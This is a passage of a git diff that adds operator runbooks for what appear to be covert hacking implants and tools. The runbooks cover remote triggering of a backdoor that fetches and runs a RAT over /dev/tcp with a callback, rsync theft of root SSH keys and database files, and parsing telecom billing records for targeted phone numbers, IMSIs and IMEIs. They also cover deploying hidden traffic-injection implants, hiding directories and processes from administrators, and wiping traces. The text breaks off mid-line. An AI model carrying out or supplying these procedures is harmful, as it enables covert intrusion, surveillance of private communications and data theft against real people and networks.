"find /archive/cdrc/ -name '2006071[56]*.mob' -print" -x +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -y +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc1 -o cdrhits.orleansstride.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.orleansstride.HOST.DDMonYY.enc2 -o cdrhits.orleansstride.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep nscd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm nscd awk +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + diff --git a/Linux/doc/old/etc/user.tool.poptop.COMMON b/Linux/doc/old/etc/user.tool.poptop.COMMON new file mode 100644 index 0000000..b12f72b --- /dev/null +++ b/Linux/doc/old/etc/user.tool.poptop.COMMON @@ -0,0 +1,70 @@ +### EncTelnet/Poptop +### To use Nopen over an existing connection (i.e. telnet) + +### Window 1: Nopen Window - Setup tunnel to dude telnetting to +-tunnel +l 2323 DUDE 23 + +### Window 2: Local scripted window - Use spawn to be your telnet client +### The window will look kinda funny with debug telnet negotiation stuff +### going by, and you'll see the typed password in the clear...get over it +spawn.v3 127.0.0.1 2323 telnet + + +### Window 3: Local window: prep poptop/noserver +cp TARGNOSERVER /current/up/nscd +cp TARGPOPTOP /current/up/crond +compress nscd crond +uuencode nscd.Z nscd.Z > nscd.uu +uuencode crond.Z crond.Z > crond.uu + +### Window 2: Accept files for upload +uudecode +--p /current/up/nscd.uu +uudecode +--p /current/up/crond.uu +uncompress nscd.Z crond.Z + +### Window 2: Run Nopen and poptop +chmod 700 nscd crond +PATH=. D=-lPORT nscd +PATH=. crond + +### 1st prompt for "arg" is port +PORT + +### 2nd prompt for "arg" is file descriptor, use 0 for stdin +0 + +### Should now get a line saying "tty is setup" + +### Window 4: Local scripted window: setup for Nopen connect +noclient -l 8080 + +### Window 2: type "---" and hit enter, should +### have a connection in your noclient window then +--- + +### Window 4: To get multiple windows on target, will need use this window +### as a -tunnel window, and tunnel to yourself over loopback +### And oh yeah, remove the binaries +-rm crond nscd +-tunnel +l PORT 127.0.0.1 + +### In other scripted windows +noclient 127.0.0.1:PORT + +### Do whatever you need to do... + +### When all done... +-burnBURN + +### Window 2: this window will now probably go nuts, ^C will +### take you back to your op box shell prompt, and officially +### close your telnet connection (see connection close in your +### Window 1 -tunnel window). +### Note that there will be another log entry put into +### wtmp that cannot be toasted away, should not be seen by admins though... + +EOF diff --git a/Linux/doc/old/etc/user.tool.pork.COMMON b/Linux/doc/old/etc/user.tool.pork.COMMON new file mode 100644 index 0000000..0d8e0da --- /dev/null +++ b/Linux/doc/old/etc/user.tool.pork.COMMON @@ -0,0 +1,76 @@ +##### Triggering PORK ##### + +### Need 4 scripted windows +### Window 1: local, run pork client +### Window 2: nopen tunnel window on redirector +### Window 3: window to establish Nopen connection on redirector +### Window 4: packrat window + +### Search/Replace stuff +### TARG_IP: box that has pork installed +### TARG_PORT: pork'ed port +### REDIR_IP: box hitting TARG_IP +### NETCAT_PORT: port to upload nopen +### NOPEN_PORT: port to start nopen on +### SPECIAL_SOURCE_PORT: source port of connection to pork +### (source port must be one of: 3, 51, 3854, 5671, 8213, 12634, 16798, + 23247, 35139, 47923, 53246, 63201) +### TEMP_DIR: temp directory +### TIME_ADJ: time diff between local GMT and targ GMT (use 0 if no diff) +### (must be within 12 hrs) + +mx +:%s/TARG_IP/TARG_IP/g +:%s/TARG_PORT/TARG_PORT/g +:%s/REDIR_IP/REDIR_IP/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/NOPEN_PORT/NOPEN_PORT/g +:%s/SPECIAL_SOURCE_PORT/SPECIAL_SOURCE_PORT/g +:%s/TEMP_DIR/TEMP_DIR/g +:%s/RAT_REMOTE_NAME/RAT_REMOTE_NAME/g +:%s/TIME_ADJ/TIME_ADJ/g +'x + + +### Window 2: Set up tunnel to talk to pork +-tunnel +r NETCAT_PORT + +# If pork'ed service is TCP +l TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT + +# If pork'ed service is UDP +u TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT + + +### Window 3: If need nopen to call back, set this up +-nrtun NOPEN_PORT + + +### Window 4: use packrat to prep Nopen +### Change the Nopen to upload if necessary +cd /current/up +packrat -z RAT_REMOTE_NAME morerats/noserver-3.0.3.1-i586-pc-linux-gnu NETCAT_PORT + + +### Window 1: Trigger pork +### Many ways this command may need to be adjusted to do callback, execute rat, +### etc., so all possibilities not outlined below + +cd /current/bin + +# If TCP +./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME" + +# If UDP +./client -u TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME" + + +### Window 3: Should see Nopen connection if set up to callback +### If set up to listen, use this line +-nstun TARG_IP NOPEN_PORT + + +### Should be able to handle it from here... + + diff --git a/Linux/doc/old/etc/user.tool.rsync.DEPRECATED-USE-gs-rsync b/Linux/doc/old/etc/user.tool.rsync.DEPRECATED-USE-gs-rsync new file mode 100644 index 0000000..e293e2c --- /dev/null +++ b/Linux/doc/old/etc/user.tool.rsync.DEPRECATED-USE-gs-rsync @@ -0,0 +1,123 @@ + +# NOTE THIS IS FOR ARCHIVAL PURPOSES ONLY. +# +# See this usage for current way to use this method: + +-gs rsync -h + + + +# DID YOU READ THE ABOVE? DO NOT USE THE BELOW, USE -gs rsync INSTEAD. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +# Seriously, why are you still here? + + + + + + +# METHOD 1: UPLOAD config file c to target (not preferred). +# config file named c +cat < c +uid = root +use chroot = no +log file = /dev/null +[root] +path = / +EOF + +---- +# TARGET WINDOW 1: +-tunnel +l 3281 127.0.0.1 + +# TARGET WINDOW 2: +# rsync server +rsync --daemon --no-detach --config=c --port=3281 --address=127.0.0.1 . + +# LOCALLY: +# rsync client: +rsync -vv rsync://127.0.0.1:3281/root/root/.ssh/known_hosts tmp +rsync --recursive -vv rsync://127.0.0.1:3281/root/root/.ssh tmp +rsync -av rsync://127.0.0.1:3281/root/root/grabit.iso . +rsync -av rsync://127.0.0.1:3281/root/var/db/mysql/eklaaec2_hlesy77/post.MYD . + + + +# METHOD 2: Local server, local config file, client on target (preferred). +# LOCALLY: +# rsync server: +cat < c +uid = root +use chroot = no +log file = /dev/null +[root] +path = /current/down +read only = false +EOF + +rsync --daemon --no-detach --config=c --port=3281 --address=127.0.0.1 . + +# TARGET WINDOW 1: +-tunnel +r 3281 127.0.0.1 + +# TARGET WINDOW 2: +rsync -av a.tgz rsync://127.0.0.1:3281/root +rsync -av pmtext.* rsync://127.0.0.1:3281/root + diff --git a/Linux/doc/old/etc/user.tool.seconddate.COMMON b/Linux/doc/old/etc/user.tool.seconddate.COMMON new file mode 100644 index 0000000..69df7a0 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.seconddate.COMMON @@ -0,0 +1,398 @@ +# SECONDDATE + +:syntax on + +######### +# SET UP +######### + +# get tasking directories and put them on media +# check op plan for correct tasking date +/projects/web_proxy_tasking/to_lowside/YYYYMMDD/YYYYMMDD.HH.MM.SS-IP_ADDRESS + +# copy and extract binaries to /current/bin +mz +cp /mnt/zip/seconddate_tools.tar /current/bin +cd /current/bin +tar xvf /seconddate_binaries.tar + +# copy tasking directories to /current/bin/sd and extract +cp -r /mnt/zip/TASKING /current/bin/sd +cd /current/bin/sd + + +# copy the SECONDDATE command and control binary to each tasking directory +# the rules are set by relative path; +# the command and control binary needs to be in the same path as the inject and regex files +# tasking directory name format: YYYYMMDD.HH.MM.SS-IP_ADDRESS +# inject tag name format: YYYYMMDDHHMMSS-IP_ADDRESS-inject-.bin +# regex file name format: YYYYMMDDHHMMSS-IP_ADDRESS-regex-.bin + +cp /current/bin/sd/1.1.1.1/Binaries/Seconddate_CnC /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS + + +################# +# PREP COMMANDS +################# + +# all commands to run at local Seconddate_CnC prompt are in commands.txt +# you should have already copied it here: +# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS/commands.txt +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS + +egrep "disable" commands.txt > disable.txt +egrep "rule" commands.txt | egrep -v "showrule --all" > rules.txt +egrep "enable" commands.txt > enable.txt + +# open command files in gedit text editor; xemacs works too; vi doesn't work +gedit disable.txt & +# open the other files rules.txt and enable.txt + + +#################### +# CONNECT TO IMPLANT +################### + +# local_port - listen on this port locally; i.e. the ops box; pick a random port +# target_ip - ip of target that is running SECONDDATE to which you want to connect +# target_port - port to which you'll connect to target; can be the same as local_port + +mx +:%s/LOCAL_UDP_PORT/LOCAL_UDP_PORT/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_UDP_PORT/TARGET_UDP_PORT/g +`x + +# set up UDP tunnel from redirector; won't work locally on target box +# u +-tunnel +u LOCAL_UDP_PORT TARGET_IP TARGET_UDP_PORT + +# in locally scripted window +# run CnC +# ./Seconddate_CnC 127.0.0.1 +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT + +# run command +ping +# should recieve an 'OK' + +# if you can't get an OK, the target may have rebooted; tool only runs in memory +# connect to the target via -irtun and check to see if SECONDDATE is running +# if it's not running you need to deploy +ps -ef | grep IMPLANT_FILENAME + +cd /dev; ps -ef | grep IMPLANT_FILENAME + + +############## +# RUN COMMANDS +############# + +# help menu +? + #or +help + +# do these first +ping +# synopsis of rules and injects +getinfo +# check rule log +getlog + +# show all rules +showrule --all + +# have gedit window with rules commands available +# if you still have gedit open with the commands files, go to the disable commands section below +# if you closed it after setup, reopen the commands files with gedit +# command files you previously set up are here including the commands.txt file: +# /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +# open command files in gedit text editor; xemacs works too; vi doesn't work +cd /current/bin/sd/YYYYMMDD.HH.MM.SS-IP_ADDRESS +gedit disable.txt & +# open the other files rules.txt and enable.txt from within gedit + +# run disable commands only for enabled rules you know are going to change +# otherwise, disable all of the rules +# disable commands are in the file disable.txt + +# clear log only if instructed to do so +# will fail if any rules are enabled +clearlog + +# set rules; make sure the rules in rules.txt match what is on target +# rule commands are in the file rules.txt + +# enable rules; watch for "Enabled: yes" in each rule displayed +# enable commands are in the file enable.txt + +# show all rules +showrule --all + +# check for empty rule enabled: +getinfo + +# if the matches/hits/injects are increasing rapidly, then you probably enabled an empty rule +# find the emtpy rule that's enabled +getlog + +# look for the rule that has the most hits +# disable it and display it with showrule + +# done +exit + +# copy script files +# when finished with locally scripted window, type exit, or type CTL-D only once +# this reveals the name of the script file +cp script. script..seconddate.log +# you can remove the original script if you like + + + +######### +# DEPLOY +######### + +# if the target box rebooted, you'll have to deploy the tool +# connect via -irtun + +# hidden_dir - hidden directoy on the target +# INCISION targets will have a manually created hidden directory +# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory +# sd_binary _path - where the SECONDATE binaries are lcoated on the ops box: +# /current/bin/sd/1.1.1.1/Binaries +# implant_filename - what you want to call the SECONDDATE binary on target + +mx +:%s:HIDDEN_DIR:HIDDEN_DIR:g +:%s/SD_BINARY_PATH/SD_BINARY_PATH/g +:%s/IMPLANT_FILENAME/IMPLANT_FILENAME/g +`x + +# INCISION targets; skip if STOICSURGEON +# create hidden directory on linux target if you don't have one already +# mkdir -p /tmp/.; __HMODE__=enable touch /tmp/. +# try to use a drectory name that blends in on teh target +# example: +# mkdir -p /tmp/.orbit561; __HMODE__=enable touch /tmp/.orbit561 +mkdir -p HIDDEN_DIR; __HMODE__=enable touch HIDDEN_DIR + +# make sure the directory was created +-ls HIDDEN_DIR + +# make sure the directory is hidden +# you should not see the hidden directory +cd /dev; ls -al HIDDEN_DIR + +# cd to hidden directory +# STOICSURGEON targets can run SECONDDATE from the STOICSURGEON directory +# INCISION targets run from hidden directory +# -cd /tmp/.orbit561 +-cd HIDDEN_DIR + +# put up tool +# -put +# example +# -put /current/bin/sd/1.1.1.1/Binaries/Seconddate_Implant crond +-put SD_BINARY_PATH IMPLANT_FILENAME + + +################## +# START SECONDDATE +################## + +# look for setsid +which setsid +# or +locate setsid + +# run: +setsid /bin/bash -c 'PATH="." crond' > /dev/null 2>&1 & + +# or, if there's no setsid +# -shell +# PATH=. crond +-shell +PATH=. IMPLANT_FILENAME +# Ctrl-D to get out of shell and get your NOPEN prompt +# be careful + +# if there's no setsid, get noserver pid (parent of nopen pid) +# you'll have to kill the root noserver later when getting off target +# i.e. the parent pid of the nopen window you're in +-pid + +# INCISION targets make sure it's hidden +# annotate pid of running implant in your opnotes +# cd /dev; ps -ef | grep crond +cd /dev; ps -ef | grep IMPLANT_FILENAME + +# remove implant +# -rm crond +-rm IMPLANT_FILENAME + +# in locally scripted window +# run CnC +./Seconddate_CnC 127.0.0.1 LOCAL_UDP_PORT + +# help menu +help + +# ping +ping + + +############### +# LEAVE RUNNING +############### +# may want to leave implant running and come back later +# if implant is left running exit from the CnC tool +exit + +# check lastlog for reboot frequecy +last -100 | egrep "hutdow|eboo" + +# INCISION targets make sure the running implant is hidden +# cd /dev; ps -ef grep +cd /dev; ps -ef grep IMPLANT_FILENAME + + +########### +# UNINSTALL +########### +# to stop running implant in preparation for leaving target box +# in local CnC window that's scripted, uninstall the implant +uninstall + +# in NOPEN window +# check process list; make it's not hung; if hung, kill it +kill -9 + + +########## +# FINISHED +########## +# getting ready to get off the target +# to burn or not to burn? +# read all lof the following before getting off target +# if you're not leaving the implant running after getting off the target: +# - make sure you uninstall the implant as stated above +# - ensure it not hung; if so, kill it +# - then burn +# +# if you're on target under a noserver that did not spawn the implant +# process you may burn, i.e. the implant process is not the child +# of the noserver process +# +# if you ran the implant using 'setsid', you may also burn: +-burn + +# if you ran the implant under your present noserver and wish to leave it +# running, you need to make sure the implant continues when done with target +# if there was no 'setsid' on the target box when you ran the implant: +# - kill the noserver that is listening under which you started the implant +# if you burn in this case the implant process will be killed +kill -9 + +# - use "-exit" to get out of all nopen windows +-exit + +# check your connection to the implant from the redirector next to the +# target running the implant +# run a few commands +ping +getinfo + +# if connection is OK then you're done +ping +# should recieve an 'OK' + +# if you can't connect to the implant +# get back up on target and check to see if implant is still running +# if the implant is not running you may have missed something when running +# the implant or disconnecting +# put it back up and run it again +# if you can't connect and the implant is running try troubleshooting +# the ports you're using + +# copy script files +# when finished with locally scripted window, CTL-D only once +# this reveals the name of the script file +cp script. script..seconddate.log +# you can remove the original script if you like + + + + +#/////////////////////////////// +# TASKING BY HAND - THE OLD WAY +#////////////////////////////// + +############# +# INJECT FILE +############# +# configure inject file +# you will need to have a file containing the data for the inject packet +# first the http info: +# then the tag followed by 2 carriage retruns +# example + +HTTP/1.1 200 OK +Pragma: no-cache +Content-Type: text/html +Cache-Control: no-cache,no-store + + + + + +##################### +# REGULAR EXPRESSIONS +##################### +# regular expression file +# needed to pass to implant as argument when using regex in a rule +# can't have any carriage returns or newlines in the file +# it must only contain the characters relative to the regex +# use vi or echo: +vi -b -c "set noeol" +# or +echo -n > + +####### +# RULES +####### +# set rule +# rule 1 --srcaddr --srcmask 255.255.255.0 --dstport 80 --maxinjections 10 --injectwindow 600 --nocheckregex --injectfile pkt +# examples: +rule 1 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile --injectfile pkt +rule 2 --dstport 80 --maxinjections 2 --injectwindow 600 --regexfile --injectfile pkt + +# showrule +showrule 1 +# to show all rules you'll have to wait a bit +# the tool will iterate through all 64 whether emtpy or not + +# enable rule(s) +# you have to enable them individually +enable rule 1 + +# check for hits +getinfo + +# check log +getlog + +# when done disable rules +disable 1 + +# get last dump of log +getlog + +# clear log +clearlog + + diff --git a/Linux/doc/old/etc/user.tool.skimcountry.COMMON b/Linux/doc/old/etc/user.tool.skimcountry.COMMON new file mode 100644 index 0000000..7962d97 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.skimcountry.COMMON @@ -0,0 +1,282 @@ +################ SKIMCOUNTRY ######################### +############### PARSING ################################################################### + + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.skimcountry.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the skimcountry commands. + + +### Typical file locations per project: + +########################## wrathhatch: +# HOST 172.16.1.36 + +# active directories: +-lt /var/archive/output_billing + +# this script should point to the backup directory location: +-vget /var/archive/output_billing/MoveData.sh + +# backup directories: +-lt /u01/oradata/output_billing/ +-lt /u01/oradata/output_billing/0-9AugData/output_billing +-lt /u01/oradata/output_billing/AugData/output_billing + + + +# get time ranges of active directories: +ls -latr /var/archive/output_billing/isb/*ama | head -10 +ls -latr /var/archive/output_billing/isb/*ama | tail -10 + +ls -latr /var/archive/output_billing/isb2/*ama | head -10 +ls -latr /var/archive/output_billing/isb2/*ama | tail -10 + +ls -latr /var/archive/output_billing/isb/*ama | wc -l + +ls -latr /var/archive/output_billing/fsd1/*ama | head -10 +ls -latr /var/archive/output_billing/fsd1/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd2/*ama | head -10 +ls -latr /var/archive/output_billing/fsd2/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd3/*ama | head -10 +ls -latr /var/archive/output_billing/fsd3/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd4/*ama | head -10 +ls -latr /var/archive/output_billing/fsd4/*ama | tail -10 + + +### to pull a complete directory listing to the ops box: +ls -latr /var/archive/output_billing/isb >L:/current/down/list_isb + + +########################## SKIMCOUNTRY ######################################################## +############################################################################################### + + + +### Now, encrypt the ascii list locally... first make sure you have the encryption tool: +cd /current/down/argfiles +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + + + +### Tips for running the SKIMCOUNTRY 3.2 + +### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! +### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional +### passes are needed for the date range +### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption) +### The phone list is deleted automatically now + + +### Useful options: +-k encryption key +-o print filenames being parsed +-P encrypted phone list +-p plaintxt phone list +-r DO NOT remove phone list after reading in +-z unix list of files to parse +-w do not encypt the output list (not recommended since file is created on target) + + +### Suggested -z options: +### this looks in subdirs, so use caution in backup dir (can be good AND bad): +### Also circumvents "parameter list too long" problem with wildcards with 'ls' + -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print" + +### works, but only for smaller ranges (command line arglist gets long) + -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*" + + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + + +### benchmarking: +# phonelist had 44 numbers +# 3 day pull took 38 minutes over ALL directories +# 1 day average pull took 10-13 minutes + +### file name extensions: +# GCDR = Nor +# usd = Sie + + + +######## Upload the parser (SKIMCOUNTRY) and called it crond +# put up the parser tool + +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl crond + + # or + +-put /mnt/zip*/skimcountry.v1.2.SunOS5.9.targetdl crond + + +##### Upload the encrypted phone list as adm, then run the parser: + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking + +-put /current/down/argfiles/argfile1.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1.more +-beep 15 + + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2 +-beep 15 + +-put /current/down/argfiles/argfile2.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2.more +-beep 15 + + + +###### +###### to parse other vendor files: +###### + +#./crond -k CRYPTKEY -P adm -z "ls -1rt /var/archive/output_billing/*/MSC*20060629*usd*ama" > .mcftpl38755 + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc1 -o cdrhits.skimcountry.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc2 -o cdrhits.skimcountry.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) + +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done + +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### +###### copy DECRYPTED data to appropriate zip device for the analyst +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + + +#### target cleanup + +-rm adm crond +-cd /tmp +-rm .scsi +-burnBURN + +### You're done! + diff --git a/Linux/doc/old/etc/user.tool.slyheretic.COMMON b/Linux/doc/old/etc/user.tool.slyheretic.COMMON new file mode 100644 index 0000000..4ed5468 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.slyheretic.COMMON @@ -0,0 +1,70 @@ +######################################################### +# SLYHERETIC v1.0.5.0 +######################################################### +### SLYHERETIC is a light-weight implant for AIX 5.1 and AIX 5.2 Uses Hide-in-Plain-Sight techniques to provide stealth. +### SlyHeretic_Persistent: This installer injects a backdoor into a system process and persists across system reboots. +### SlyHeretic_OneShot: This installer injects a backdoor into a system process and does not persist across system reboots. +### All SLYHERETIC binaries delete themselves upon execution. + +**IMPORTANT: SINCE SLYHERETIC Uses Hide-in-Plain-Sight techniques to provide stealth ensure that you get off of box if known administrators are on the box.** +**IMPORTANT: Do not install SLYHERETIC on systems where TripWire is installed. *********************************** + + +######################################################### Persistent Install###################################################################### +## To install the Persistent version of SLYHERETIC perform the following steps. + +## Upload the SlyHeretic_Persistent binary to the target with the name 'date' on a filesystem that's not mounted noexec. +-put /current/up/SlyHeretic_Persistent date + +### Execute the installer with the following command: +PATH=. date +## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the +## seconds field as the error code. If the seconds field reports '00', the installation was successful. + +If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error. +This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to +injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact +tool champion or developer. + +########################################################## OneShot Install########################################################################## +## Upload the SlyHeretic_OneShot binary to the target with the name 'date' on a filesystem that's not mounted noexec. + +-put /current/up/SlyHeretic_OneShot date + +### Execute the installer with the following command: +PATH=. date +## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the +## seconds field as the error code. If the seconds field reports '00', the installation was successful. + +If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error. +This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to +injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact +tool champion or developer. + + +#############################################################Uninstalling SLYHERETIC###################################################################### +## Upload the SlyHeretic_Uninstaller binary to the target with the name 'date' on a filesystem that's not mounted noexec. + +-put /current/up/SlyHeretic_Uninstaller date + +### Execute the installer with the following command: +PATH=. date + +The Uninstaller will not provide any out stating that the uninstall was successful. +To verify uninstall you can attempt to trigger via tipoff or -irtun. + + +#########################################################SLYHERETIC REINSTALL############################################################################ +SLYHERETIC can be reinstalled on a system but only after an Uninstall has taken place. A reinstall is simply the following steps: +Uninstall SLYHERETIC +Install SLYHERETIC + + +######################################################### TRIGGERING SLYHERETIC ######################################################################### +## Trigger SLYHERETIC and upload NOPEN with redirection. + +-irtun TARGET_IP RANDOM_PORT -ueY5 ********SLYHERETIC uses DewDrop 3.X trigger********************************** + + + + diff --git a/Linux/doc/old/etc/user.tool.stoicsurgeon.COMMON b/Linux/doc/old/etc/user.tool.stoicsurgeon.COMMON new file mode 100644 index 0000000..b89fd7f --- /dev/null +++ b/Linux/doc/old/etc/user.tool.stoicsurgeon.COMMON @@ -0,0 +1,360 @@ +##### Stoicsurgeon Ctrl Usage, Installation and Troubleshooting Script ##### + +### WARNING! READ THIS! WARNING! READ THIS! WARNING! READ THIS! WARNING! ### +# +# NEVER explicitly reference any cloaked file or directory from an unprivileged +# process. Wildcards are ok, but explicit references are not. Stoic will +# self-destruct if an explicit reference to a cloaked file ever occurs from an +# unprivileged process. This includes the cloaked directory, any files inside +# the cloaked directory, any files/directories hidden after installation using +# Ctrl, the /proc entry of cloaked processes, etc. +# +# Examples: +# Assume /lib/.0123456789abcdef is a cloaked file or directory +# -lt /lib/.0123456789abcdef ##### BAD BAD BAD BAD BAD ##### +# -lt /lib/.012* ##### GOOD, WILL NOT SEE OUTPUT FOR CLOAKED DIR, +# ##### WILL NOT SELF-DESTRUCT +# +# Assume 12345 is a cloaked process +# -lt /proc/12345/exe ##### BAD 